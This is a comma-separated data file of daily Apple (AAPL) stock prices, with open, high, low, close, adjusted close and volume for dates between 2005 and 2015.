-2005-02-04,5.562142848968506,5.637856960296631,5.5378570556640625,5.6314287185668945,4.888309955596924,140889000.0,AAPL
-2005-02-07,5.637856960296631,5.6678571701049805,5.535714149475098,5.638571262359619,4.894510746002197,131114200.0,AAPL
-2005-02-08,5.647857189178467,5.812857151031494,5.627857208251953,5.778571605682373,5.016035079956055,222504800.0,AAPL
-2005-02-09,5.788571357727051,5.856428623199463,5.578571319580078,5.624285697937012,4.882109642028809,297864000.0,AAPL
-2005-02-10,5.622857093811035,5.6628570556640625,5.475714206695557,5.597142696380615,4.858548641204834,273254800.0,AAPL
-2005-02-11,5.704285621643066,5.840000152587891,5.638571262359619,5.800714492797852,5.035257816314697,300263600.0,AAPL
-2005-02-14,5.909285545349121,6.0564284324646,5.860714435577393,6.045000076293945,5.247306823730469,317865800.0,AAPL
-2005-02-15,6.190000057220459,6.362857341766357,6.142857074737549,6.315000057220459,5.481678009033203,578054400.0,AAPL
-2005-02-16,6.296428680419922,6.442857265472412,6.239285945892334,6.437857151031494,5.588322639465332,409810800.0,AAPL
-2005-02-17,6.474999904632568,6.491428375244141,6.246428489685059,6.2721428871154785,5.444477081298828,379618400.0,AAPL
-2005-02-18,6.2671427726745605,6.27571439743042,6.160714149475098,6.200714111328125,5.382473945617676,290813600.0,AAPL
-2005-02-22,6.164285659790039,6.307142734527588,6.0921430587768555,6.0921430587768555,5.288227558135986,304823400.0,AAPL
-2005-02-23,6.194285869598389,6.317857265472412,6.110714435577393,6.30214262008667,5.470515727996826,336295400.0,AAPL
-2005-02-24,6.320000171661377,6.37928581237793,6.266428470611572,6.352142810821533,5.513918399810791,379757000.0,AAPL
-2005-02-25,6.401428699493408,6.42214298248291,6.299285888671875,6.356428623199463,5.517640113830566,228877600.0,AAPL
-2005-02-28,6.382857322692871,6.44857120513916,6.28000020980835,6.408571243286133,5.562901496887207,162902600.0,AAPL
-2005-03-01,6.42714262008667,6.444285869598389,6.3085713386535645,6.357142925262451,5.518259525299072,117047000.0,AAPL
-2005-03-02,6.3214287757873535,6.4128570556640625,6.29714298248291,6.302856922149658,5.471136093139648,114540300.0,AAPL
-2005-03-03,6.338571548461914,6.344285488128662,5.888571262359619,5.96999979019165,5.1822028160095215,352913400.0,AAPL
-2005-03-04,6.108571529388428,6.144285678863525,5.97857141494751,6.115714073181152,5.308689117431641,189154700.0,AAPL
-2005-03-07,6.114285945892334,6.1785712242126465,6.050000190734863,6.107142925262451,5.301249027252197,112658000.0,AAPL
-2005-03-08,5.985714435577393,6.022857189178467,5.72857141494751,5.789999961853027,5.0259552001953125,255362800.0,AAPL
-2005-03-09,5.6628570556640625,5.75428581237793,5.54714298248291,5.621428489685059,4.879629135131836,330616300.0,AAPL
-2005-03-10,5.6471428871154785,5.751428604125977,5.585714340209961,5.690000057220459,4.939152717590332,194277300.0,AAPL
-2005-03-11,5.744285583496094,5.798571586608887,5.685714244842529,5.752857208251953,4.993715286254883,158207700.0,AAPL
-2005-03-14,5.788571357727051,5.827142715454102,5.645714282989502,5.760000228881836,4.9999165534973145,151346300.0,AAPL
-2005-03-15,5.805714130401611,5.877142906188965,5.75,5.851428508758545,5.079278945922852,127152200.0,AAPL
-2005-03-16,5.887142658233643,6.044285774230957,5.825714111328125,5.882857322692871,5.106560707092285,174453300.0,AAPL
-2005-03-17,5.932857036590576,6.125714302062988,5.902857303619385,6.035714149475098,5.239246845245361,200480000.0,AAPL
-2005-03-18,6.190000057220459,6.205714225769043,6.0714287757873535,6.137142658233643,5.3272905349731445,235037600.0,AAPL
-2005-03-21,6.184285640716553,6.281428337097168,6.122857093811035,6.242856979370117,5.41905403137207,135282000.0,AAPL
-2005-03-22,6.244285583496094,6.28000020980835,6.097142696380615,6.1185712814331055,5.3111701011657715,137853800.0,AAPL
-2005-03-23,6.064285755157471,6.199999809265137,6.002857208251953,6.078571319580078,5.276448726654053,152455800.0,AAPL
-2005-03-24,6.130000114440918,6.142857074737549,6.0714287757873535,6.0714287757873535,5.270247936248779,88176200.0,AAPL
-2005-03-28,6.107142925262451,6.137142658233643,6.067142963409424,6.075714111328125,5.273967266082764,68852700.0,AAPL
-2005-03-29,6.079999923706055,6.1185712814331055,5.9285712242126465,5.964285850524902,5.177243232727051,115339000.0,AAPL
-2005-03-30,6.010000228881836,6.114285945892334,5.97428560256958,6.114285945892334,5.307450294494629,98739900.0,AAPL
-2005-03-31,6.064285755157471,6.074285507202148,5.9414286613464355,5.95285701751709,5.167323112487793,159033700.0,AAPL
-2005-04-01,6.012856960296631,6.02571439743042,5.795714378356934,5.841428756713867,5.070599555969238,160321000.0,AAPL
-2005-04-04,5.855714321136475,5.901428699493408,5.737143039703369,5.869999885559082,5.095399856567383,145003600.0,AAPL
-2005-04-05,5.888571262359619,6.034285545349121,5.869999885559082,5.984285831451416,5.194604396820068,139059900.0,AAPL
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-2005-04-08,6.242856979370117,6.349999904632568,6.21999979019165,6.248571395874023,5.424015522003174,162487500.0,AAPL
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-2005-04-13,6.135714054107666,6.141428470611572,5.769999980926514,5.862857341766357,5.089200019836426,342986700.0,AAPL
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-2005-04-15,5.231428623199463,5.3214287757873535,5.039999961853027,5.050000190734863,4.383606433868408,432021800.0,AAPL
-2005-04-18,5.0,5.185714244842529,4.857142925262451,5.088571548461914,4.417087078094482,331794400.0,AAPL
-2005-04-19,5.22857141494751,5.348571300506592,5.124285697937012,5.298571586608887,4.599377155303955,270410700.0,AAPL
-2005-04-20,5.380000114440918,5.391428470611572,5.062857151031494,5.07285737991333,4.403447151184082,236282900.0,AAPL
-2005-04-21,5.199999809265137,5.315714359283447,5.128571510314941,5.311428546905518,4.610535621643066,189898100.0,AAPL
-2005-04-22,5.262856960296631,5.285714149475098,4.985714435577393,5.0714287757873535,4.402207851409912,209782300.0,AAPL
-2005-04-25,5.212857246398926,5.288571357727051,5.158571243286133,5.2828569412231445,4.58573579788208,186615100.0,AAPL
-2005-04-26,5.25428581237793,5.358571529388428,5.159999847412109,5.170000076293945,4.4877705574035645,202626900.0,AAPL
-2005-04-27,5.127142906188965,5.194285869598389,5.07285737991333,5.135714054107666,4.458008289337158,153472200.0,AAPL
-2005-04-28,5.184285640716553,5.1914286613464355,5.034285545349121,5.077142715454102,4.407166481018066,143776500.0,AAPL
-2005-04-29,5.164285659790039,5.175714492797852,5.031428337097168,5.151428699493408,4.471652030944824,167907600.0,AAPL
-2005-05-02,5.172857284545898,5.235714435577393,5.145714282989502,5.204285621643066,4.517530918121338,116480000.0,AAPL
-2005-05-03,5.199999809265137,5.248571395874023,5.1471428871154785,5.172857284545898,4.4902520179748535,124184900.0,AAPL
-2005-05-04,5.158571243286133,5.314285755157471,5.157142639160156,5.307142734527588,4.606816291809082,112044100.0,AAPL
-2005-05-05,5.3214287757873535,5.324285507202148,5.210000038146973,5.239999771118164,4.548534393310547,96841500.0,AAPL
-2005-05-06,5.269999980926514,5.332857131958008,5.255714416503906,5.320000171661377,4.617977619171143,81561900.0,AAPL
-2005-05-09,5.325714111328125,5.349999904632568,5.25,5.281428337097168,4.584495544433594,88923800.0,AAPL
-2005-05-10,5.25,5.3214287757873535,5.190000057220459,5.20285701751709,4.516292095184326,110065900.0,AAPL
-2005-05-11,5.028571605682373,5.095714092254639,4.730000019073486,5.0871429443359375,4.415847301483154,510495300.0,AAPL
-2005-05-12,5.059999942779541,5.084285736083984,4.857142925262451,4.875714302062988,4.232318878173828,242560500.0,AAPL
-2005-05-13,4.885714054107666,5.0328569412231445,4.867142677307129,4.9671430587768555,4.311684608459473,175678300.0,AAPL
-2005-05-16,4.937142848968506,5.099999904632568,4.932857036590576,5.078571319580078,4.4084086418151855,118573700.0,AAPL
-2005-05-17,5.019999980926514,5.065714359283447,4.934285640716553,5.05142879486084,4.384846210479736,147086100.0,AAPL
-2005-05-18,5.064285755157471,5.365714073181152,4.998571395874023,5.119999885559082,4.444368839263916,159180700.0,AAPL
-2005-05-19,5.111428737640381,5.382857322692871,5.111428737640381,5.364285945892334,4.656419277191162,198290400.0,AAPL
-2005-05-20,5.3214287757873535,5.378571510314941,5.312857151031494,5.364285945892334,4.656419277191162,113162700.0,AAPL
-2005-05-23,5.407142639160156,5.699999809265137,5.407142639160156,5.679999828338623,4.930470943450928,260643600.0,AAPL
-2005-05-24,5.635714054107666,5.712857246398926,5.575714111328125,5.671428680419922,4.923032283782959,148365000.0,AAPL
-2005-05-25,5.642857074737549,5.7071428298950195,5.617142677307129,5.682857036590576,4.932952880859375,99001700.0,AAPL
-2005-05-26,5.705714225769043,5.848571300506592,5.705714225769043,5.820000171661377,5.051998615264893,131380200.0,AAPL
-2005-05-27,5.805714130401611,5.827142715454102,5.715714454650879,5.794285774230957,5.02967643737793,79002000.0,AAPL
-2005-05-31,5.8085713386535645,5.820000171661377,5.654285907745361,5.679999828338623,4.930470943450928,101051300.0,AAPL
-2005-06-01,5.69857120513916,5.82285737991333,5.694285869598389,5.757143020629883,4.997433185577393,113453200.0,AAPL
-2005-06-02,5.721428394317627,5.760000228881836,5.657142639160156,5.71999979019165,4.965193748474121,93493400.0,AAPL
-2005-06-03,5.451428413391113,5.511428356170654,5.395714282989502,5.462857246398926,4.741982936859131,239217300.0,AAPL
-2005-06-06,5.475714206695557,5.518571376800537,5.365714073181152,5.417142868041992,4.702300548553467,202991600.0,AAPL
-2005-06-07,5.371428489685059,5.389999866485596,5.2071428298950195,5.21999979019165,4.531172275543213,186316200.0,AAPL
-2005-06-08,5.2328572273254395,5.3214287757873535,5.22428560256958,5.274285793304443,4.578295707702637,101001600.0,AAPL
-2005-06-09,5.285714149475098,5.420000076293945,5.260000228881836,5.378571510314941,4.668819427490234,97563900.0,AAPL
-2005-06-10,5.342857360839844,5.342857360839844,5.074285507202148,5.115714073181152,4.440647125244141,169733200.0,AAPL
-2005-06-13,5.127142906188965,5.230000019073486,5.117142677307129,5.128571510314941,4.451809406280518,108943100.0,AAPL
-2005-06-14,5.1314287185668945,5.164285659790039,5.107142925262451,5.142857074737549,4.46420955657959,86961700.0,AAPL
-2005-06-15,5.2671427726745605,5.328571319580078,5.185714244842529,5.304285526275635,4.604336738586426,140835800.0,AAPL
-2005-06-16,5.312857151031494,5.440000057220459,5.260000228881836,5.425714492797852,4.709741592407227,136918600.0,AAPL
-2005-06-17,5.49571418762207,5.505714416503906,5.404285907745361,5.4728569984436035,4.7506632804870605,149031400.0,AAPL
-2005-06-20,5.407142639160156,5.4414286613464355,5.349999904632568,5.372857093811035,4.663858413696289,80929100.0,AAPL
-2005-06-21,5.388571262359619,5.455714225769043,5.340000152587891,5.408571243286133,4.694860935211182,92631700.0,AAPL
-2005-06-22,5.465714454650879,5.514285564422607,5.44857120513916,5.507143020629883,4.780423641204834,106231300.0,AAPL
-2005-06-23,5.54714298248291,5.682857036590576,5.52142858505249,5.555714130401611,4.822586536407471,168563500.0,AAPL
-2005-06-24,5.584285736083984,5.588571548461914,5.382857322692871,5.394285678863525,4.682460308074951,102677400.0,AAPL
-2005-06-27,5.262856960296631,5.442857265472412,5.239999771118164,5.300000190734863,4.600615978240967,150042900.0,AAPL
-2005-06-28,5.355714321136475,5.369999885559082,5.309999942779541,5.329999923706055,4.626657485961914,87574900.0,AAPL
-2005-06-29,5.3185715675354,5.327142715454102,5.159999847412109,5.195714473724365,4.510091304779053,112089600.0,AAPL
-2005-06-30,5.230000019073486,5.3085713386535645,5.187142848968506,5.258571624755859,4.564655303955078,104597500.0,AAPL
-2005-07-01,5.261428356170654,5.281428337097168,5.184285640716553,5.214285850524902,4.526212692260742,62500200.0,AAPL
-2005-07-05,5.221428394317627,5.449999809265137,5.214285850524902,5.425714492797852,4.709741592407227,113567300.0,AAPL
-2005-07-06,5.387142658233643,5.451428413391113,5.314285755157471,5.341428756713867,4.636578559875488,98656600.0,AAPL
-2005-07-07,5.258571624755859,5.394285678863525,5.257143020629883,5.375714302062988,4.666338920593262,95930800.0,AAPL
-2005-07-08,5.409999847412109,5.468571662902832,5.3528571128845215,5.464285850524902,4.743222236633301,72683800.0,AAPL
-2005-07-11,5.481428623199463,5.52142858505249,5.3971428871154785,5.442857265472412,4.724621295928955,97197100.0,AAPL
-2005-07-12,5.461428642272949,5.485714435577393,5.415714263916016,5.462857246398926,4.741982936859131,96759600.0,AAPL
-2005-07-13,5.46999979019165,5.5,5.414285659790039,5.47857141494751,4.755624294281006,171208800.0,AAPL
-2005-07-14,5.827142715454102,6.001428604125977,5.747142791748047,5.8214287757873535,5.0532379150390625,524015100.0,AAPL
-2005-07-15,5.8528571128845215,5.938571453094482,5.78000020980835,5.935714244842529,5.152442455291748,171920700.0,AAPL
-2005-07-18,5.915714263916016,6.014285564422607,5.909999847412109,5.92714262008667,5.14500093460083,146574400.0,AAPL
-2005-07-19,5.9314284324646,6.175714492797852,5.867142677307129,6.170000076293945,5.3558125495910645,167765500.0,AAPL
-2005-07-20,6.122857093811035,6.257143020629883,6.092857360839844,6.2328572273254395,5.410374641418457,113348900.0,AAPL
-2005-07-21,6.242856979370117,6.291428565979004,6.128571510314941,6.184285640716553,5.3682122230529785,101066000.0,AAPL
-2005-07-22,6.205714225769043,6.285714149475098,6.19857120513916,6.285714149475098,5.456257343292236,75276600.0,AAPL
-2005-07-25,6.284285545349121,6.325714111328125,6.247142791748047,6.258571624755859,5.4326958656311035,73656800.0,AAPL
-2005-07-26,6.287142753601074,6.30142879486084,6.194285869598389,6.2328572273254395,5.410374641418457,67148200.0,AAPL
-2005-07-27,6.261428356170654,6.295714378356934,6.095714092254639,6.284285545349121,5.455015659332275,70937300.0,AAPL
-2005-07-28,6.264285564422607,6.285714149475098,6.185714244842529,6.257143020629883,5.431455612182617,62827800.0,AAPL
-2005-07-29,6.2228569984436035,6.340000152587891,6.037142753601074,6.092857360839844,5.288849353790283,140520100.0,AAPL
-2005-08-01,6.081428527832031,6.154285907745361,6.011428356170654,6.107142925262451,5.301249027252197,78562400.0,AAPL
-2005-08-02,6.127142906188965,6.214285850524902,6.0871429443359375,6.170000076293945,5.3558125495910645,74218900.0,AAPL
-2005-08-03,6.170000076293945,6.187142848968506,6.110000133514404,6.174285888671875,5.35953426361084,64580600.0,AAPL
-2005-08-04,6.127142906188965,6.142857074737549,6.041428565979004,6.101428508758545,5.296289920806885,67326000.0,AAPL
-2005-08-05,6.070000171661377,6.194285869598389,6.002857208251953,6.141428470611572,5.331010341644287,60482800.0,AAPL
-2005-08-08,6.142857074737549,6.1785712242126465,6.0871429443359375,6.092857360839844,5.288849353790283,44095800.0,AAPL
-2005-08-09,6.132857322692871,6.269999980926514,6.130000114440918,6.260000228881836,5.43393611907959,95209800.0,AAPL
-2005-08-10,6.285714149475098,6.341428756713867,6.187142848968506,6.197143077850342,5.379373550415039,90236300.0,AAPL
-2005-08-11,6.19857120513916,6.302856922149658,6.1785712242126465,6.285714149475098,5.456257343292236,67995900.0,AAPL
-2005-08-12,6.208571434020996,6.6028571128845215,6.194285869598389,6.585714340209961,5.716669082641602,229009200.0,AAPL
-2005-08-15,6.639999866485596,6.904285907745361,6.635714054107666,6.811428546905518,5.912597179412842,271681900.0,AAPL
-2005-08-16,6.769999980926514,6.785714149475098,6.601428508758545,6.607142925262451,5.735269069671631,134405600.0,AAPL
-2005-08-17,6.628571510314941,6.7771430015563965,6.624285697937012,6.735714435577393,5.8468756675720215,124931100.0,AAPL
-2005-08-18,6.701428413391113,6.714285850524902,6.535714149475098,6.614285945892334,5.741470813751221,110639900.0,AAPL
-2005-08-19,6.611428737640381,6.671428680419922,6.538571357727051,6.54714298248291,5.683187961578369,94142300.0,AAPL
-2005-08-22,6.592857360839844,6.6785712242126465,6.465714454650879,6.552856922149658,5.688147068023682,96933200.0,AAPL
-2005-08-23,6.550000190734863,6.585714340209961,6.47428560256958,6.534285545349121,5.672027111053467,73901100.0,AAPL
-2005-08-24,6.514285564422607,6.731428623199463,6.512856960296631,6.538571357727051,5.675745964050293,143017700.0,AAPL
-2005-08-25,6.588571548461914,6.641428470611572,6.544285774230957,6.579999923706055,5.711709976196289,69063400.0,AAPL
-2005-08-26,6.588571548461914,6.619999885559082,6.480000019073486,6.534285545349121,5.672027111053467,65264500.0,AAPL
-2005-08-29,6.4671430587768555,6.575714111328125,6.465714454650879,6.548571586608887,5.6844282150268555,64073800.0,AAPL
-2005-08-30,6.570000171661377,6.684285640716553,6.559999942779541,6.652857303619385,5.774951457977295,129690400.0,AAPL
-2005-08-31,6.694285869598389,6.718571662902832,6.610000133514404,6.69857120513916,5.814632415771484,100739100.0,AAPL
-2005-09-01,6.714285850524902,6.738571643829346,6.584285736083984,6.608571529388428,5.736510276794434,89091800.0,AAPL
-2005-09-02,6.614285945892334,6.685714244842529,6.588571548461914,6.6028571128845215,5.731550693511963,55594700.0,AAPL
-2005-09-06,6.671428680419922,6.9828572273254395,6.650000095367432,6.971428394317627,6.051484107971191,204654800.0,AAPL
-2005-09-07,7.007143020629883,7.057142734527588,6.845714092254639,6.954285621643066,6.0366034507751465,240768500.0,AAPL
-2005-09-08,7.050000190734863,7.159999847412109,7.019999980926514,7.111428737640381,6.173008918762207,175660100.0,AAPL
-2005-09-09,7.152857303619385,7.335714340209961,7.112857341766357,7.329999923706055,6.362739086151123,153910400.0,AAPL
-2005-09-12,7.300000190734863,7.375714302062988,7.225714206695557,7.342857360839844,6.373900413513184,113199100.0,AAPL
-2005-09-13,7.288571357727051,7.327142715454102,7.188571453094482,7.260000228881836,6.301976680755615,123221000.0,AAPL
-2005-09-14,7.294285774230957,7.312857151031494,7.065714359283447,7.0871429443359375,6.1519293785095215,118606600.0,AAPL
-2005-09-15,7.142857074737549,7.168571472167969,7.04714298248291,7.124285697937012,6.184170246124268,103789000.0,AAPL
-2005-09-16,7.175714492797852,7.315714359283447,7.135714054107666,7.315714359283447,6.350338935852051,147751100.0,AAPL
-2005-09-19,7.2928571701049805,7.555714130401611,7.2928571701049805,7.519999980926514,6.52766752243042,195932800.0,AAPL
-2005-09-20,7.570000171661377,7.687142848968506,7.559999942779541,7.598571300506592,6.595869541168213,204957200.0,AAPL
-2005-09-21,7.565714359283447,7.578571319580078,7.408571243286133,7.444285869598389,6.461943626403809,108686900.0,AAPL
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-2005-11-09,8.571428298950195,8.744285583496094,8.571428298950195,8.587142944335938,7.453991413116455,138232500.0,AAPL
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-2005-12-09,10.601428985595703,10.65571403503418,10.478571891784668,10.618571281433105,9.217355728149414,138850600.0,AAPL
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-2006-02-07,9.752857208251953,9.925714492797852,9.525713920593262,9.657142639160156,8.382792472839355,347207700.0,AAPL
-2006-02-08,9.784285545349121,9.868571281433105,9.428571701049805,9.829999923706055,8.532842636108398,238278600.0,AAPL
-2006-02-09,9.871428489685059,9.890000343322754,9.218571662902832,9.278571128845215,8.054180145263672,287441000.0,AAPL
-2006-02-10,9.311429023742676,9.667142868041992,8.985713958740234,9.615714073181152,8.346832275390625,440119400.0,AAPL
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-2006-03-20,9.317142486572266,9.351428985595703,9.124285697937012,9.14142894744873,7.935129642486572,151360300.0,AAPL
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-2006-06-16,8.422857284545898,8.455714225769043,8.217143058776855,8.222857475280762,7.137775897979736,209525400.0,AAPL
-2006-06-19,8.261428833007812,8.311429023742676,8.142857551574707,8.171428680419922,7.093133926391602,176143800.0,AAPL
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-2006-06-22,8.314285278320312,8.535714149475098,8.295714378356934,8.511428833007812,7.388267993927002,241408300.0,AAPL
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-2006-07-05,8.164285659790039,8.228571891784668,8.079999923706055,8.142857551574707,7.068334579467773,129560200.0,AAPL
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-2006-07-17,7.389999866485596,7.5871429443359375,7.378571510314941,7.481428623199463,6.494184970855713,256135600.0,AAPL
-2006-07-18,7.594285488128662,7.692857265472412,7.407142639160156,7.557142734527588,6.559908866882324,250112100.0,AAPL
-2006-07-19,7.565714359283447,7.8685712814331055,7.480000019073486,7.72857141494751,6.708715438842773,347685800.0,AAPL
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-2006-07-21,8.545714378356934,8.735713958740234,8.520000457763672,8.674285888671875,7.529634475708008,222973100.0,AAPL
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-2006-08-23,9.714285850524902,9.807143211364746,9.562856674194336,9.615714073181152,8.346832275390625,134064700.0,AAPL
-2006-08-24,9.69857120513916,9.74142837524414,9.467143058776855,9.687143325805664,8.408835411071777,163797900.0,AAPL
-2006-08-25,9.619999885559082,9.864285469055176,9.615714073181152,9.821428298950195,8.525402069091797,135989700.0,AAPL
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-2006-08-30,9.619999885559082,9.688570976257324,9.525713920593262,9.565713882446289,8.303428649902344,170035600.0,AAPL
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-2006-09-01,9.782856941223145,9.807143211364746,9.688570976257324,9.768571853637695,8.479519844055176,102123700.0,AAPL
-2006-09-05,9.85285758972168,10.214285850524902,9.79285717010498,10.21142864227295,8.863937377929688,253114400.0,AAPL
-2006-09-06,10.154285430908203,10.24142837524414,9.95714282989502,10.00428581237793,8.68412971496582,243525800.0,AAPL
-2006-09-07,10.085714340209961,10.497142791748047,10.035714149475098,10.399999618530273,9.027624130249023,316989400.0,AAPL
-2006-09-08,10.481428146362305,10.510000228881836,10.272856712341309,10.359999656677246,8.992900848388672,223980400.0,AAPL
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-2007-09-05,20.709999084472656,20.834285736083984,19.44285774230957,19.53714370727539,16.95903968811035,582055600.0,AAPL
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-2009-07-07,19.78285789489746,19.954286575317383,19.31142807006836,19.342857360839844,16.790393829345703,115399200.0,AAPL
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-2010-01-20,30.70142936706543,30.792856216430664,29.928571701049805,30.247142791748047,26.255752563476562,153038200.0,AAPL
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-2010-07-19,35.6971435546875,35.6971435546875,34.228572845458984,35.08285903930664,30.45336151123047,256119500.0,AAPL
-2010-07-20,34.70000076293945,36.128570556640625,34.28714370727539,35.98428726196289,31.235824584960938,268737700.0,AAPL
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-2010-07-26,37.14285659790039,37.157142639160156,36.81571578979492,37.040000915527344,32.152225494384766,105137900.0,AAPL
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-2011-01-03,46.52000045776367,47.18000030517578,46.40571594238281,47.08142852783203,40.86860656738281,111284600.0,AAPL
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-2014-11-03,108.22000122070312,110.30000305175781,108.01000213623047,109.4000015258789,99.84766387939453,52282600.0,AAPL
-2014-11-04,109.36000061035156,109.48999786376953,107.72000122070312,108.5999984741211,99.11753845214844,41574400.0,AAPL
-2014-11-05,109.0999984741211,109.30000305175781,108.12999725341797,108.86000061035156,99.35482025146484,37435900.0,AAPL
-2014-11-06,108.5999984741211,108.79000091552734,107.80000305175781,108.69999694824219,99.63895416259766,34968500.0,AAPL
-2014-11-07,108.75,109.31999969482422,108.55000305175781,109.01000213623047,99.92312622070312,33691500.0,AAPL
-2014-11-10,109.0199966430664,109.33000183105469,108.66999816894531,108.83000183105469,99.75813293457031,27195500.0,AAPL
-2014-11-11,108.69999694824219,109.75,108.4000015258789,109.69999694824219,100.55559539794922,27442300.0,AAPL
-2014-11-12,109.37999725341797,111.43000030517578,109.37000274658203,111.25,101.97640228271484,46942400.0,AAPL
-2014-11-13,111.80000305175781,113.44999694824219,111.5999984741211,112.81999969482422,103.41551208496094,59522900.0,AAPL
-2014-11-14,113.1500015258789,114.19000244140625,111.20999908447266,114.18000030517578,104.66218566894531,44063600.0,AAPL
-2014-11-17,114.2699966430664,117.27999877929688,113.30000305175781,113.98999786376953,104.48800659179688,46746700.0,AAPL
-2014-11-18,113.94000244140625,115.69000244140625,113.88999938964844,115.47000122070312,105.84464263916016,44224000.0,AAPL
-2014-11-19,115.44000244140625,115.73999786376953,113.80000305175781,114.66999816894531,105.11133575439453,41869200.0,AAPL
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-2014-11-24,116.8499984741211,118.7699966430664,116.62000274658203,118.62999725341797,108.74124145507812,47450800.0,AAPL
-2014-11-25,119.06999969482422,119.75,117.44999694824219,117.5999984741211,107.79707336425781,68840400.0,AAPL
-2014-11-26,117.94000244140625,119.0999984741211,117.83000183105469,119.0,109.08038330078125,40768300.0,AAPL
-2014-11-28,119.2699966430664,119.4000015258789,118.05000305175781,118.93000030517578,109.01620483398438,24814400.0,AAPL
-2014-12-01,118.80999755859375,119.25,111.2699966430664,115.06999969482422,105.47797393798828,83814000.0,AAPL
-2014-12-02,113.5,115.75,112.75,114.62999725341797,105.07464599609375,59348900.0,AAPL
-2014-12-03,115.75,116.3499984741211,115.11000061035156,115.93000030517578,106.26629638671875,43063400.0,AAPL
-2014-12-04,115.7699966430664,117.19999694824219,115.29000091552734,115.48999786376953,105.86296844482422,42044500.0,AAPL
-2014-12-05,115.98999786376953,116.08000183105469,114.63999938964844,115.0,105.41381072998047,38318900.0,AAPL
-2014-12-08,114.0999984741211,114.6500015258789,111.62000274658203,112.4000015258789,103.03055572509766,57664900.0,AAPL
-2014-12-09,110.19000244140625,114.30000305175781,109.3499984741211,114.12000274658203,104.6071548461914,60208000.0,AAPL
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-2014-12-15,110.69999694824219,111.5999984741211,106.3499984741211,108.2300033569336,99.2081527709961,67218100.0,AAPL
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-2014-12-17,107.12000274658203,109.83999633789062,106.81999969482422,109.41000366210938,100.289794921875,53411800.0,AAPL
-2014-12-18,111.87000274658203,112.6500015258789,110.66000366210938,112.6500015258789,103.25969696044922,59006200.0,AAPL
-2014-12-19,112.26000213623047,113.23999786376953,111.66000366210938,111.77999877929688,102.46223449707031,88429800.0,AAPL
-2014-12-22,112.16000366210938,113.48999786376953,111.97000122070312,112.94000244140625,103.5255355834961,45167500.0,AAPL
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-2015-01-02,111.38999938964844,111.44000244140625,107.3499984741211,109.33000183105469,100.2164535522461,53204600.0,AAPL
-2015-01-05,108.29000091552734,108.6500015258789,105.41000366210938,106.25,97.39318084716797,64285500.0,AAPL
-2015-01-06,106.54000091552734,107.43000030517578,104.62999725341797,106.26000213623047,97.40237426757812,65797100.0,AAPL
-2015-01-07,107.19999694824219,108.19999694824219,106.69999694824219,107.75,98.76815032958984,40105900.0,AAPL
-2015-01-08,109.2300033569336,112.1500015258789,108.69999694824219,111.88999938964844,102.56307220458984,59364500.0,AAPL
-2015-01-09,112.66999816894531,113.25,110.20999908447266,112.01000213623047,102.67304992675781,53699500.0,AAPL
-2015-01-12,112.5999984741211,112.62999725341797,108.80000305175781,109.25,100.14311981201172,49650800.0,AAPL
-2015-01-13,111.43000030517578,112.80000305175781,108.91000366210938,110.22000122070312,101.03227996826172,67091900.0,AAPL
-2015-01-14,109.04000091552734,110.48999786376953,108.5,109.80000305175781,100.64728546142578,48956600.0,AAPL
-2015-01-15,110.0,110.05999755859375,106.66000366210938,106.81999969482422,97.9156723022461,60014000.0,AAPL
-2015-01-16,107.02999877929688,107.58000183105469,105.19999694824219,105.98999786376953,97.15485382080078,78513300.0,AAPL
-2015-01-20,107.83999633789062,108.97000122070312,106.5,108.72000122070312,99.65730285644531,49899900.0,AAPL
-2015-01-21,108.94999694824219,111.05999755859375,108.2699966430664,109.55000305175781,100.4181137084961,48575900.0,AAPL
-2015-01-22,110.26000213623047,112.47000122070312,109.72000122070312,112.4000015258789,103.03055572509766,53796400.0,AAPL
-2015-01-23,112.30000305175781,113.75,111.52999877929688,112.9800033569336,103.56219482421875,46464800.0,AAPL
-2015-01-26,113.73999786376953,114.36000061035156,112.80000305175781,113.0999984741211,103.67218780517578,55615000.0,AAPL
-2015-01-27,112.41999816894531,112.4800033569336,109.02999877929688,109.13999938964844,100.04229736328125,95568700.0,AAPL
-2015-01-28,117.62999725341797,118.12000274658203,115.30999755859375,115.30999755859375,105.69796752929688,146477100.0,AAPL
-2015-01-29,116.31999969482422,119.19000244140625,115.55999755859375,118.9000015258789,108.98871612548828,84436400.0,AAPL
-2015-01-30,118.4000015258789,120.0,116.8499984741211,117.16000366210938,107.39376831054688,83745500.0,AAPL
-2015-02-02,118.05000305175781,119.16999816894531,116.08000183105469,118.62999725341797,108.74124145507812,62739100.0,AAPL
-2015-02-03,118.5,119.08999633789062,117.61000061035156,118.6500015258789,108.75955963134766,51915700.0,AAPL
-2015-02-04,118.5,120.51000213623047,118.30999755859375,119.55999755859375,109.59370422363281,70149700.0,AAPL
-2015-02-05,120.0199966430664,120.2300033569336,119.25,119.94000244140625,110.37590789794922,42246200.0,AAPL
-2015-02-06,120.0199966430664,120.25,118.44999694824219,118.93000030517578,109.44646453857422,43706600.0,AAPL
-2015-02-09,118.55000305175781,119.83999633789062,118.43000030517578,119.72000122070312,110.17346954345703,38889800.0,AAPL
-2015-02-10,120.16999816894531,122.1500015258789,120.16000366210938,122.0199966430664,112.29004669189453,62008500.0,AAPL
-2015-02-11,122.7699966430664,124.91999816894531,122.5,124.87999725341797,114.92201232910156,73561800.0,AAPL
-2015-02-12,126.05999755859375,127.4800033569336,125.56999969482422,126.45999908447266,116.37602233886719,74474500.0,AAPL
-2015-02-13,127.27999877929688,127.27999877929688,125.6500015258789,127.08000183105469,116.94658660888672,54272200.0,AAPL
-2015-02-17,127.48999786376953,128.8800048828125,126.91999816894531,127.83000183105469,117.63677215576172,63152400.0,AAPL
-2015-02-18,127.62999725341797,128.77999877929688,127.44999694824219,128.72000122070312,118.455810546875,44891700.0,AAPL
-2015-02-19,128.47999572753906,129.02999877929688,128.3300018310547,128.4499969482422,118.20733642578125,37362400.0,AAPL
-2015-02-20,128.6199951171875,129.5,128.0500030517578,129.5,119.17359924316406,48948400.0,AAPL
-2015-02-23,130.02000427246094,133.0,129.66000366210938,133.0,122.3945083618164,70974100.0,AAPL
-2015-02-24,132.94000244140625,133.60000610351562,131.1699981689453,132.1699981689453,121.63068389892578,69228100.0,AAPL
-2015-02-25,131.55999755859375,131.60000610351562,128.14999389648438,128.7899932861328,118.52021789550781,74711700.0,AAPL
-2015-02-26,128.7899932861328,130.8699951171875,126.61000061035156,130.4199981689453,120.02024841308594,91287500.0,AAPL
-2015-02-27,130.0,130.57000732421875,128.24000549316406,128.4600067138672,118.21653747558594,62014800.0,AAPL
-2015-03-02,129.25,130.27999877929688,128.3000030517578,129.08999633789062,118.79629516601562,48096700.0,AAPL
